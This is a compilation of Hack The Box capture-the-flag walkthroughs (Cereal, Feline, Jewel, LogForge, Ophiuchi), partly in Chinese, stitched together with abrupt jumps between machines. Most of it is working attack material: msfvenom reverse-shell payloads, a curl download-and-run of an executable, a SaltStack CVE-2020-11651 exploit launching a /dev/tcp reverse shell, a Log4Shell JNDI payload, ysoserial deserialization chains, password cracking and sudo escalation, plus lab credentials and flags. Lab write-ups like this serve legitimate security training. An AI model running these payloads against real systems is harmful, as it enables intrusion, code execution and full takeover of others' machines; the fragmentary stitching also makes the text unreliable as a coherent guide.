OS: Windows Difficulty: Hard Points: 40 Release: 21 Nov 2020 IP: 10.10.10.217
information gathering
first use nmap as usaul
1 2 3 4 5 6 7
┌──(root💀kali)-[~/hackthebox/machine/cereal] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.217 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0) 80/tcp open http Microsoft IIS httpd 10.0 443/tcp open ssl/http Microsoft IIS httpd 10.0 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
vhosts from https certificate (add to /etc/hosts):
1
cereal.htb source.cereal.htb
extract exposed git directory in source.cereal.htb/.git:
┌──(root💀kali)-[~/GitTools-master/Dumper] └─# ip=http://source.cereal.htb/.git/ ┌──(root💀kali)-[~/GitTools-master/Dumper] └─# mkdir /tmp/git ┌──(root💀kali)-[~/GitTools-master/Dumper] └─# mkdir /tmp/src ┌──(root💀kali)-[~/GitTools-master/Dumper] └─# ./gitdumper.sh $ip /tmp/git ########### # GitDumper is part of https://github.com/internetwache/GitTools # # Developed and maintained by @gehaxelt from @internetwache # # Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes! ###########
[*] Destination folder does not exist [+] Creating /tmp/git/.git/ [+] Downloaded: HEAD [-] Downloaded: objects/info/packs [+] Downloaded: description [+] Downloaded: config [+] Downloaded: COMMIT_EDITMSG [+] Downloaded: index [-] Downloaded: packed-refs [+] Downloaded: refs/heads/master [-] Downloaded: refs/remotes/origin/HEAD [-] Downloaded: refs/stash [+] Downloaded: logs/HEAD [+] Downloaded: logs/refs/heads/master [-] Downloaded: logs/refs/remotes/origin/HEAD [-] Downloaded: info/refs [+] Downloaded: info/exclude [-] Downloaded: /refs/wip/index/refs/heads/master [-] Downloaded: /refs/wip/wtree/refs/heads/master [+] Downloaded: objects/34/b68232714f841a274050591ff5595dcf7f85da [-] Downloaded: objects/00/00000000000000000000000000000000000000 [+] Downloaded: objects/8f/2a1a88f15b9109e1f63e4e4551727bfb38eee5 [+] Downloaded: objects/7b/d9533a2e01ec11dfa928bd491fe516477ed291 [+] Downloaded: objects/3a/23ffe921530036a4e0c355e6c8d1d4029cb728 ... ┌──(root💀kali)-[~/GitTools-master/Extractor] └─# ./extractor.sh /tmp/git /tmp/src ########### # Extractor is part of https://github.com/internetwache/GitTools # # Developed and maintained by @gehaxelt from @internetwache # # Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes! ########### [+] Found commit: 3a23ffe921530036a4e0c355e6c8d1d4029cb728 [+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/.gitignore [+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ApplicationOptions.cs [+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/Cereal.csproj [+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/CerealContext.cs [+] Found folder: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ClientApp [+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ClientApp/.gitignore [+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ClientApp/README.md [+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ClientApp/package-lock.json [+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ClientApp/package.json [+] Found folder: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ClientApp/public ... ┌──(root💀kali)-[~/hackthebox/machine/cereal] └─# mv /tmp/src ./src ┌──(root💀kali)-[~/hackthebox/machine/cereal] └─# ls src ┌──(root💀kali)-[~/hackthebox/machine/cereal] └─# tree . └── src ├── 0-3a23ffe921530036a4e0c355e6c8d1d4029cb728 │ ├── ApplicationOptions.cs │ ├── appsettings.Development.json │ ├── appsettings.json │ ├── CerealContext.cs │ ├── Cereal.csproj │ ├── ClientApp │ │ ├── package.json │ │ ├── package-lock.json │ │ ├── public │ │ │ ├── favicon.ico │ │ │ ├── FuturaStd-Bold.woff ...
exposed secret in the file “2-8f2a1a88f15b9109e1f63e4e4551727bfb38eee5/Services/UserService.cs”:
1
secretlhfIH&FY*#oysuflkhskjfhefesf
vulnerability in the file “Controllers\RequestsController.cs”: deserialization (can’t use ysoserial because of custom protection, but can use deserialization of the DownloadManager object -> upload aspx shell)
vulnerability in the file “ClientApp\src\AdminPage\AdminPage.jsx”:
xss (https://snyk.io/vuln/npm:react-marked-markdown:20180517) -> with this xss we can do server-side requests and trigger the deserialization
┌──(root💀kali)-[~/hackthebox/machine/cereal] └─# nc -lvp 9001 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 10.10.10.217. Ncat: Connection from 10.10.10.217:49973. Spawn Shell... Microsoft Windows [Version 10.0.17763.1577] (c) 2018 Microsoft Corporation. All rights reserved.
User Name SID ============ ============================================== cereal\sonny S-1-5-21-1433318354-2681105707-1558593885-1000
GROUP INFORMATION -----------------
Group Name Type SID Attributes ==================================== ================ =============================================================== ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group IIS APPPOOL\source.cereal.htb Well-known group S-1-5-82-1091461672-2110406625-1707532520-1965434010-2231625233 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ========================================= ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
-> SeImpersonatePrivilege enabled
create exe for metasploit:
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.6 LPORT=9003 -b "\x00\x0a" -a x86 --platform windows -f exe -o m.exe
run metasploit:
1 2 3 4 5 6
msfconsole -q use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 10.10.14.6 set LPORT 9003 run
download m.exe to target and execute it:
1 2 3 4
mkdir C:\temp cd C:\temp curl http://10.10.14.6/m.exe -o C:\temp\m.exe .\m.exe
analyze the local port 8080 (on our host on 8081), you find, that it uses graphql, after enumerating graphql, you find a callable function, which allows ssrf (updatePlant). combine this ssrf with SeImpersonatePrivilege -> juicy potato with http -> https://github.com/micahvandeusen/GenericPotato
┌──(root💀kali)-[~/hackthebox/machine/cereal] └─# nc -lvp 9005 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::9005 Ncat: Listening on 0.0.0.0:9005 Ncat: Connection from 10.10.10.217. Ncat: Connection from 10.10.10.217:50126. Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami whoami nt authority\system PS C:\Windows\system32> cd \users\administrator\desktop cd \users\administrator\desktop PS C:\users\administrator\desktop> dir dir
Directory: C:\users\administrator\desktop
Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 1/15/2021 12:17 AM 34 root.txt
root@kali:~# nmap -sV -p- -v --min-rate=10000 10.10.10.205 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 8080/tcp open http Apache Tomcat 9.0.27 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web Enumeration
The main page returns a title as “VirusBucket” which is used to analyze malicious files just like “VirusTotal”.
Some random descriptions are given. From the top menu, we can see some menus available. Out of these, ‘service’ is where we can upload our file to analyze it.
make a test to uploaded a file and intercepted the request with Burp Suite.
<div id="error"> java.io.FileNotFoundException: /opt/samples/uploads (Is a directory) at java.base/java.io.FileOutputStream.open0(Native Method) at java.base/java.io.FileOutputStream.open(FileOutputStream.java:298) at java.base/java.io.FileOutputStream.<init>(FileOutputStream.java:237) at java.base/java.io.FileOutputStream.<init>(FileOutputStream.java:187) at org.apache.commons.fileupload.disk.DiskFileItem.write(DiskFileItem.java:394) at org.apache.jsp.upload_jsp._jspService(upload_jsp.java:205) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) at javax.servlet.http.HttpServlet.service(HttpServlet.java:741) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:476) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:385) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:329) at javax.servlet.http.HttpServlet.service(HttpServlet.java:741) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:526) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92) at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:678) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343) at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:408) at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1579) at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.base/java.lang.Thread.run(Thread.java:834) </div>
and we got the upload file location
1
/opt/samples/uploads
we can see that there is something related to Java deserialization running behind the scene.
Tomcat JsessionID Insecure Deserialization CVE - User Shell
use a simple google search, we find an article to understand the public exploit CVE-2020-9484.
reference 1:
Apache Tomcat RCE by deserialization CVE-2020-9484 writeup and exploit
Requirements to exploit:
There is no authentication needed to upload a file to the server. PersistentManager might be enabled, that’s why we got our file uploaded.
We have control over the location of the file and the name of the file.
Java Run time exec() function is the one which deserializes the JsessionID information in it.
Exploitation steps:
We need to create a Java Runtime Environment serialized Object and also save it in filename.session
Then it is needed to upload it to the server.
The final step is to modify the JSESSIONID to value like “../../../../malicious.session”.
Since the JSESSIONID is parsed by function java.lang.Runtime.exec(), we need to set bash or shell payload. Because NC, Socat command will get break inside the Runtime Environment.
root@kali:~# nc -lvp 4444 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.10.10.205. Ncat: Connection from 10.10.10.205:39862. bash: cannot set terminal process group (948): Inappropriate ioctl for device bash: no job control in this shell tomcat@VirusBucket:/opt/tomcat$ id id uid=1000(tomcat) gid=1000(tomcat) groups=1000(tomcat) tomcat@VirusBucket:/opt/tomcat$ whoami whoami tomcat tomcat@VirusBucket:/opt/tomcat$ cd ~ cd ~ tomcat@VirusBucket:~$ ls ls user.txt tomcat@VirusBucket:~$ cat user.txt cat user.txt a485c52b48abe0381d0e8ad66342b159
SaltStack Abusing ClearFuncs Class in Salt Master CVE Docker
There are a number of ports running in the localhost. Out of these, port number 4505 and 4506 returns a non-readable output.
root@kali:~/hackthebox/machine/feline# python3 11.py --master 127.0.0.1 --exec 'bash -c "bash -i >& /dev/tcp/10.10.14.4/5555 0>&1"' [!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort. [+] Checking salt-master (127.0.0.1:4506) status... ONLINE [+] Checking if vulnerable to CVE-2020-11651... YES [*] root key obtained: 8MeKojWxGMucT5TnNiiu1H4+rTdH9ZuGB3w2V+2Ef0sbHhmBjJU8Gil8bQuDbmJVHiSFo4rPlV0= [+] Attemping to execute bash -c "bash -i >& /dev/tcp/10.10.14.4/5555 0>&1" on 127.0.0.1 [+] Successfully scheduled job: 20200903175545578002
then we got a root reverse shell in docker:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
root@kali:~# nc -lvp 5555 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::5555 Ncat: Listening on 0.0.0.0:5555 Ncat: Connection from 10.10.10.205. Ncat: Connection from 10.10.10.205:39364. bash: cannot set terminal process group (3706): Inappropriate ioctl for device bash: no job control in this shell root@2d24bf61767c:~# id id uid=0(root) gid=0(root) groups=0(root) root@2d24bf61767c:~# whoami whoami root
root@2d24bf61767c:~# cat .bash_history cat .bash_history paswd passwd passwd passswd passwd passwd cd /root ls ls -la rm .wget-hsts cd .ssh/ ls cd .. printf'- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.' > todo.txt cat todo.txt printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.' > todo.txt cat todo.txt printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\' > todo.txt printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\' > todo.txt printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt cat todo.txt printf -- '- Add saltstack support to auto-spawn sandbox dockers through events.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt cd /home/tomcat cat /etc/passwd exit cd /root/ ls cat todo.txt ls -la /var/run/ curl -s --unix-socket /var/run/docker.sock http://localhost/images/json exit
Since docker.sock is the API used by the host to communicate with Docker containers, we can conclude that this is the way to get the contents of the root of the host.
root@kali:~# nc -lvp 7777 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::7777 Ncat: Listening on 0.0.0.0:7777 Ncat: Connection from 10.10.10.205. Ncat: Connection from 10.10.10.205:54680. bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell groups: cannot find name for group ID 11 To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root"for details.
root@959d801ec08f:/# id id uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo) root@959d801ec08f:/# whoami whoami root root@959d801ec08f:/# cat ~/root.txt cat ~/root.txt 7817c299e73caba76e2f5dfa9f72291d
and owned the root.txt
Summary of knowledge
Tomcat JsessionID Insecure Deserialization CVE
use java.lang.Runtime.exec Payload Workarounds to generate payload
ysoserial-master.jar usage
SaltStack Abusing ClearFuncs Class in Salt Master CVE Docker
CVE-2020-11651 exploit
Chisel port forwarding
EXPOSING DOCKER.SOCK to ececute commands
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
HTTP/1.1 200 OK Date: Wed, 14 Oct 2020 08:56:42 GMT Server: Apache/2.4.38 (Debian) Vary: Accept-Encoding Content-Type: text/html; charset=utf-8
No apache exploits in searchsploit
Hosts gitweb. (gitweb, web frontend to git repostories)
1 2
<!-- git web interface version 2.20.1, (C) 2005-2006, Kay Sievers <kay.sievers@vrfy.org>, Christian Gierke --> <!-- git core binaries version 2.20.1 -->
A simple console.log() in app/assets/javascripts/application.js
root@kali:~/hackthebox/machine/jewel# john -format=bcrypt hashes -w=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 4096 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Session completed Password obtained: spongebob
get usershell
looking at the redis / ruby cve
the cve-2020-8165 https://github.com/masahiro331/CVE-2020-8165
Ok we have our payload, where do we inject it.. ? the only available places are login, signup and edit profile, login and signup gives error so that leaves with the edit profile,
While editing the username, capture the request in the burp and send it to repeater. in the username paramater inject the url encoded payload and forward the request twice
refresh the http://jewel.htb/8080/articles twice while listening on the specified port, to obtain a reverse shell
root@kali:~# nc -lvp 3344 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::3344 Ncat: Listening on 0.0.0.0:3344 Ncat: Connection from 10.10.10.211. Ncat: Connection from 10.10.10.211:47546. bash: cannot set terminal process group (791): Inappropriate ioctl for device bash: no job control in this shell bill@jewel:~/blog$ id id uid=1000(bill) gid=1000(bill) groups=1000(bill) bill@jewel:~/blog$ whoami whoami bill bill@jewel:~/blog$ cd ~ cd ~ bill@jewel:~$ ls ls blog user.txt bill@jewel:~$ cat user.txt cat user.txt b7c9e7532dda57b2362495bd05367fb0
get rootshell
After obtaining the shell, run enumeration scripts LinEnum.sh
After enumerating scripts, found nothing intresting. The sudo version enumerated is that version 1.8.27, checking for its exploits lead to sudo 1.8.27 - Security Bypass https://www.exploit-db.com/exploits/47502
After going through the report, since we have the passsword that is cracked “spongebob” lets sudo -l it
sudo -l asks for a password which is normal, and asks something verification code.
ls -la the bills home directory reveals a hidden file .google_authenticator
cat the google authentication file has a secret key/hash in it. We can find the verification code with the secret hash
We used the Google Chromimum with an addon, GAuth Authenticator https://chrome.google.com/webstore/detail/gauth-authenticator/ilgcnhelpchnceeipipijaljkblbcobl to do the task
We pasted the secret hash to the addon and it provided the OTP, with that we can sudo -l, and the /usr/bin/gem is available to be run as sudo
1 2 3 4 5 6 7 8 9 10 11 12 13
bill@jewel:~$ sudo -l sudo -l [sudo] password for bill: spongebob
Verification code: 437542
Matching Defaults entries for bill on jewel: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, insults
User bill may run the following commands on jewel: (ALL : ALL) /usr/bin/gem
with the gem GTFOBins https://gtfobins.github.io/gtfobins/gem, we are able to obtain the reverse shell
sudo /usr/bin/gem open -e “/bin/sh -c /bin/sh” rdoc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
bill@jewel:~$ sudo gem open -e "/bin/sh -c /bin/sh" rdoc sudo gem open -e "/bin/sh -c /bin/sh" rdoc # id id uid=0(root) gid=0(root) groups=0(root) # whoami whoami root # cd ~ cd ~ # ls ls root.txt # cat root.txt cat root.txt 458f634ac19fdd93ba6027a8cbe34197
root.txt is obtained
Summary of knowledge
gitweb .sql leak pass hash
john crack bcrypt hash
write cve-2020-8165 exploit python3 script
use google_authenticator hash of Google Chromimum addon GAuth Authenticator to get the verification code
gem GTFOBins privesclation
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
┌──(root💀kali-linux-2021-1)-[~/hackthebox-tmp/logforge] └─# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.30 LPORT=4444 -f war -o rev.war Payload size: 1085 bytes Final size of war file: 1085 bytes Saved as: rev.war
成功上传但是返回错误
1
FAIL - Deploy Upload Failed, Exception: [org.apache.tomcat.util.http.fileupload.impl.FileSizeLimitExceededException: The field deployWar exceeds its maximum permitted size of 1 bytes.]
log4j漏洞利用
可能会注意到这个错误消息来自一个日志管理器,比如Log4j。此Java包具有执行JNDI (Java Naming and Directory Interface) lookups的特性。可能会受到CVE-2021-44228 (Log4Shell)漏洞的影响。
验证CVE-2021-44228 (Log4Shell)漏洞是否存在, payload:
1
${jndi:ldap://10.10.14.30:9001/exp}
如下图位置放置payload
成功收到请求包,log4shell存在
1 2 3 4 5 6 7 8 9
┌──(root💀kali-linux-2021-1)-[~/hackthebox-tmp/logforge] └─# nc -lvp 9001 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 10.10.11.138. Ncat: Connection from 10.10.11.138:54332. 0 `�
┌──(root💀kali-linux-2021-1)-[~/ysoserial-modified/target] └─# echo -n 'bash -i >& /dev/tcp/10.10.14.30/4444 0>&1' | base64 YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzAvNDQ0NCAwPiYx ┌──(root💀kali-linux-2021-1)-[~/ysoserial-modified/target] └─# java -jar ysoserial-modified.jar CommonsCollections5 bash 'echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzAvNDQ0NCAwPiYx | base64 -d | bash' > /root/hackthebox-tmp/logforge/payload.ser WARNING: An illegal reflective access operation has occurred WARNING: Illegal reflective access by ysoserial.payloads.CommonsCollections5 (file:/root/ysoserial-modified/target/ysoserial-modified.jar) to field javax.management.BadAttributeValueExpException.val WARNING: Please consider reporting this to the maintainers of ysoserial.payloads.CommonsCollections5 WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations WARNING: All illegal access operations will be denied in a future release
[HTTP_ADDR] >> 10.10.14.30 [RMI_ADDR] >> 10.10.14.30 [LDAP_ADDR] >> 10.10.14.30 [COMMAND] >> open /System/Applications/Calculator.app ----------------------------JNDI Links---------------------------- Target environment(Build in JDK - (BYPASS WITH GROOVY by @orangetw) whose trustURLCodebase is false and have Tomcat 8+ and Groovy in classpath): rmi://10.10.14.30:1099/yz36ka Target environment(Build in JDK 1.5 whose trustURLCodebase is true): rmi://10.10.14.30:1099/relqou ldap://10.10.14.30:1389/relqou Target environment(Build in JDK 1.6 whose trustURLCodebase is true): rmi://10.10.14.30:1099/fda54l ldap://10.10.14.30:1389/fda54l Target environment(Build in JDK 1.7 whose trustURLCodebase is true): rmi://10.10.14.30:1099/jmlhtq ldap://10.10.14.30:1389/jmlhtq Target environment(Build in JDK - (BYPASS WITH EL by @welk1n) whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath): rmi://10.10.14.30:1099/6lfxah Target environment(Build in JDK 1.8 whose trustURLCodebase is true): rmi://10.10.14.30:1099/o7bhyq ldap://10.10.14.30:1389/o7bhyq
----------------------------Server Log---------------------------- 2021-12-29 11:48:12 [JETTYSERVER]>> Listening on 10.10.14.30:8180 2021-12-29 11:48:12 [RMISERVER] >> Listening on 10.10.14.30:1099 2021-12-29 11:48:12 [LDAPSERVER] >> Listening on 0.0.0.0:1389
┌──(root💀kali-linux-2021-1)-[~/hackthebox-tmp/logforge] └─# nc -lvp 4444 130 ⨯ Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.10.11.138. Ncat: Connection from 10.10.11.138:38750. bash: cannot set terminal process group (787): Inappropriate ioctl for device bash: no job control in this shell tomcat@LogForge:/var/lib/tomcat9$ id id uid=997(tomcat) gid=997(tomcat) groups=997(tomcat) tomcat@LogForge:/var/lib/tomcat9$ whoami whoami tomcat
至此使用修改版ysoserial和JNDI-Exploit-Kit复现log4j漏洞成功。
YAML 加载与 WASM 返回值
SnakeYAML 输入触发 Java 对象加载,后续 Go 程序依赖 WASM 结果决定执行。模块分析、修改与 sudo 运行条件保留在原链。
来源 Ophiuchi · 原记录 2021-02-14 · 13 个代码块 · 4 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Linux Difficulty: Medium Points: 30 Release: 13 Feb 2021 IP: 10.10.10.227
information gathering
first use nmap as usaul
1 2 3 4 5 6
┌──(root💀kali)-[~/hackthebox/machine/ophiuchi] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.227 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 8080/tcp open http Apache Tomcat 9.0.38 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
get user
on port 8080 we found Online YAML Parser
after google search, we found an exploit
yaml-payload
download the exploit, then modify src/artsploit/AwesomeScriptEngineFactory.java to the following content
┌──(root💀kali)-[~] └─# nc -lvp 9001 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 10.10.10.227. Ncat: Connection from 10.10.10.227:58294. bash: cannot set terminal process group (815): Inappropriate ioctl for device bash: no job control in this shell tomcat@ophiuchi:/$ id whoid uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat) tomcat@ophiuchi:/$ ami whoami tomcat tomcat@ophiuchi:/$ cd ~ cd ~ tomcat@ophiuchi:~$ ls ls bin BUILDING.txt conf CONTRIBUTING.md lib LICENSE logs NOTICE README.md RELEASE-NOTES RUNNING.txt temp webapps work tomcat@ophiuchi:~$ cd conf cd conf tomcat@ophiuchi:~/conf$ ls ls catalina.policy catalina.properties context.xml jaspic-providers.xml jaspic-providers.xsd logging.properties server.xml tomcat-users.xml tomcat-users.xsd web.xml tomcat@ophiuchi:~/conf$ cat * | grep pass cat * | grep pass # passed to checkPackageAccess unless the # passed to checkPackageDefinition unless the analyzes the HTTP headers included with the request, and passes them <!-- Use the LockOutRealm to prevent attempts to guess user passwords <user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/> you must define such a user - the username and password are arbitrary. It is them. You will also need to set the passwords to something appropriate. <user username="tomcat" password="<must-be-changed>" roles="tomcat"/> <user username="both" password="<must-be-changed>" roles="tomcat,role1"/> <user username="role1" password="<must-be-changed>" roles="role1"/> <xs:attribute name="password"type="xs:string" /> <!-- pass the result to this style sheet residing --> <!-- pass the result to this style sheet which is --> <!-- work-around various issues when Java passes --> <!-- headers passed to the CGI process as --> <!-- passShellEnvironment Should the shell environment variables (if --> <!-- any) be passed to the CGI script? [false] --> <mime-type>application/vnd.blueice.multipass</mime-type> tomcat@ophiuchi:~/conf$ su admin su admin Password: whythereisalimit id uid=1000(admin) gid=1000(admin) groups=1000(admin) whoami admin python -c 'import pty; pty.spawn("/bin/bash")' bash: line 3: python: command not found python3 -c 'import pty; pty.spawn("/bin/bash")' admin@ophiuchi:/opt/tomcat/conf$ id id uid=1000(admin) gid=1000(admin) groups=1000(admin)
then got the user flag
1 2 3 4 5 6 7 8
admin@ophiuchi:/opt/tomcat/conf$ cd cd admin@ophiuchi:~$ ls ls user.txt admin@ophiuchi:~$ cat user.txt cat user.txt 4985ea2805b1c7ee8adca11a4f0b0b39
┌──(root💀kali)-[~/hackthebox/machine/ophiuchi] └─# ssh admin@10.10.10.227 The authenticity of host '10.10.10.227 (10.10.10.227)' can't be established. ECDSA key fingerprint is SHA256:OmZ+JsRqDVNaBWMshp7wogZM0KhSKkp1YmaILhRxSY0. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.227' (ECDSA) to the list of known hosts. admin@10.10.10.227's password: Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-51-generic x86_64)
System information as of Sun 14 Feb 2021 08:42:54 AM UTC
System load: 0.0 Usage of /: 20.4% of 27.43GB Memory usage: 18% Swap usage: 0% Processes: 219 Users logged in: 0 IPv4 address for ens160: 10.10.10.227 IPv6 address for ens160: dead:beef::250:56ff:feb9:1c49
176 updates can be installed immediately. 56 of these updates are security updates. To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Feb 13 19:55:31 2021 from 10.10.14.17 admin@ophiuchi:~$ id uid=1000(admin) gid=1000(admin) groups=1000(admin) admin@ophiuchi:~$ sudo -l Matching Defaults entries for admin on ophiuchi: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on ophiuchi: (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
download main.wasm:
start listener on your machine
1 2 3 4 5 6 7
┌──(root💀kali)-[~/hackthebox/machine/ophiuchi] └─# nc -lvnp 9002 > main.wasm Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::9002 Ncat: Listening on 0.0.0.0:9002 Ncat: Connection from 10.10.10.227. Ncat: Connection from 10.10.10.227:55062.
